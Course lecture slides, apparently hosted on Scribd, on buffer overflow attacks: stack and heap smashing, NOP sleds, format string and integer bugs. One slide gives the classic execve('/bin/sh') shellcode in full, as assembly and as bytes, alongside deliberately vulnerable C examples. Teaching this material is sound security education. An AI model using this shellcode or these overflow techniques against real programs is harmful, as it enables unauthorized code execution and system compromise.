0% found this document useful (0 votes)
104 views16 pages

Buffer Overflow Attacks

This document discusses buffer overflow attacks and mitigations. It explains how buffer overflows take advantage of the lack of bound checking to overwrite memory, including crashing programs or corrupting the stack to execute malicious code. The document demonstrates real exploits using shellcode injected in an overflowing buffer to spawn a shell. It also discusses techniques like NOP sleds and other attack vectors like format string vulnerabilities, integer issues, and other vulnerability types.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
104 views16 pages

Buffer Overflow Attacks

This document discusses buffer overflow attacks and mitigations. It explains how buffer overflows take advantage of the lack of bound checking to overwrite memory, including crashing programs or corrupting the stack to execute malicious code. The document demonstrates real exploits using shellcode injected in an overflowing buffer to spawn a shell. It also discusses techniques like NOP sleds and other attack vectors like format string vulnerabilities, integer issues, and other vulnerability types.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 16

CS431 Computer and Network Security

Buffer Overflows -
Attacks and Mitigations
Abhishek Bichhawat 13/01/2023
Crashing the Stack

● Buffer overflows take advantage of the fact that bound checking


is not performed

void function (char *str){


char buffer[16];
strcpy (buffer, str);
}
int main (int argc, char* argv[]){
function (argv[1]);
}
2
Crashing the Stack

● Buffer overflows take advantage of the fact that bound checking


is not performed

UVWX
void function (char *str){
char buffer[16]; QRST
strcpy (buffer, str); MNOP
} IJKL
EFGH
int main (int argc, char* argv[]){ ABCD
function (argv[1]);
}
3
Corrupt the Stack
c (4 bytes)
● Instead of crashing, can an adversary take advantage of it?
b (4 bytes)
void doSomething(int a, int b, int c){
char buffer1[5]; a (4 bytes)
char buffer2[10];
int *r; ret (4 bytes)
r = buffer1 + 12;
sfp (4 bytes)
(*r) += 8; …
}
buffer1 (8 bytes)
int main(){
int x = 0;
doSomething(1,2,3); buffer2 (12 bytes)
x = 1;
printf(“%d\n”, x);
}
4
Corrupt the Stack
c (4 bytes)
● Some systems will skip the assignment of 1 to x
b (4 bytes)
void function(int a, int b, int c){
char buffer1[5]; a (4 bytes)
char buffer2[10];
int *r; ret +8
r = buffer1 + 12;
sfp (4 bytes)
(*r) += 8;
}
buffer1 (8 bytes)
int main(){
int x = 0;
function(1,2,3); buffer2 (12 bytes)
x = 1;
printf(“%d\n”, x);
r (4 bytes)
}
5
Real Exploits

● Smashing The Stack For Fun And Profit by Aleph One

● Can modify return address and flow of the execution


● For real exploits, we want to mostly spawn a new shell where
the exploit code can run.
○ The actual program may not contain code to spawn a shell
● Place the code to execute in the overflowing buffer and
overwrite the return address to point to the buffer

6
Real Exploits jmp 0x1F
popl %esi
movl %esi, 0x8(%esi)
c (0x03) #include stdio.h xorl %eax, %eax
movb %eax, 0x7(%esi)

b (0x02) void main() { movl %eax, 0xC(%esi)


movb $0xB, %al
char *name[2]; movl %esi, %ebx
a (0x01) name[0] = "/bin/sh"; leal 0x8(%esi), %ecx
leal 0xC(%esi), %edx
0xD8 name[1] = NULL;
int $0x80
execve(name[0], xorl %ebx, %ebx
sfp (SSSS) movl %ebx, %eax
name, NULL);
buffer1 inc %eax
} int $0x80
(SSSS
call -0x24
SSSS) .string “/bin/sh”
buffer2 char shellcode[] =
(SSSS “\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89”
SSSS “\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c”
0xD8 SSSS) “\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff”
7
“\xff\xff/bin/sh”;
Real Exploits

● Once we have the exploit code in the buffer, it executes when


we return from the function
○ You may need a few modifications
● It may seem hard to exploit but is quite often used by
adversaries to compromise systems

8
Stack Smashing

● The above attacks are known as stack smashing attacks


○ Find a buffer overflow vulnerability that is allocated on stack and
that is at a lower address than return address
○ Inject malicious code that typically spawns a shell
○ Overwrite return address on stack with the address of malicious
code
○ On return, malicious code will be invoked instead of returning to
calling function
● How do you determine what and how much data to overwrite
the buffer with?
9
NOP Sleds

● Instead of having to jump to an exact address, make it “close


enough” so that small shifts don’t break your exploit
● NOP
○ no-op instruction that does nothing (except advance the EIP)
○ an instruction in x86
● Chaining a long sequence of NOPs means that landing
anywhere in the sled will bring you to your shellcode

10
Stack Smashing

● The above attacks are known as stack smashing attacks


○ Find a buffer overflow vulnerability that is allocated on stack and
that is at a lower address than return address
○ Inject malicious code that typically spawns a shell
○ Overwrite return address on stack with the address of malicious
code
○ On return, malicious code will be invoked instead of returning to
calling function
● How do you determine what and how much data to overwrite
the buffer with?
11
Heap Smashing
void main(int argc, char **argv) {
int i;
char *str = (char *) malloc(sizeof(char)*4);
char *super_user = (char *)malloc(sizeof(char)*9);
strcpy(super_user, “root”);
if (argc > 1) {
strcpy(str, argv[1]);
}
else {
strcpy(str, "xyz");
}
}

./a.out xyz.............leaf

12
Format String Vulnerabilities

● printf format string vulnerabilities


○ printf("%s", str); // Good
○ printf(str); // Bad
■ str is interpreted by printf function as a format string
■ It is scanned for special format characters such as “%d”.
■ As formats are encountered, a variable number of argument
values are retrieved from stack
■ Allows the attacker to peek into program memory by printing
out values stored on stack (by using %n or %hhn)
■ Allows an arbitrary value to be written into memory of
running program using snprintf
● sprintf is susceptible to buffer overflow!
13
Format String Vulnerabilities
void vulnerable(const char *input)
{
volatile int value = 0x45454545;
printf(input);
}

int main(int ac, char **av)


{
volatile int value = 42;
char buffer[64];

fgets(buffer, sizeof(buffer), stdin);


vulnerable(buffer);
return 0;
}

./a.out ./a.out
test %x.%x.%x.%x.
test 120a8.0.17a846ac.559d5578. 14
Integer Memory Safety Vulnerabilities

void func(int len, char *data) {


char buf[64];
if (len > 64) int is a signed type, but size_t is an
return; unsigned type.

memcpy(buf, data, len);


}

void *memcpy(void *dest, const void *src, size_t n);


15
Other Vulnerabilities

● Function pointers
○ void (*foo)()
● longjmp buffers
○ Used with setjmp as checkpoint/rollback
○ Corrupted buffer jumps to arbitrary location
● Manipulating environment variables
○ getenv
● Use-after-free
○ Dangling pointers
● Off-by-one
16

You might also like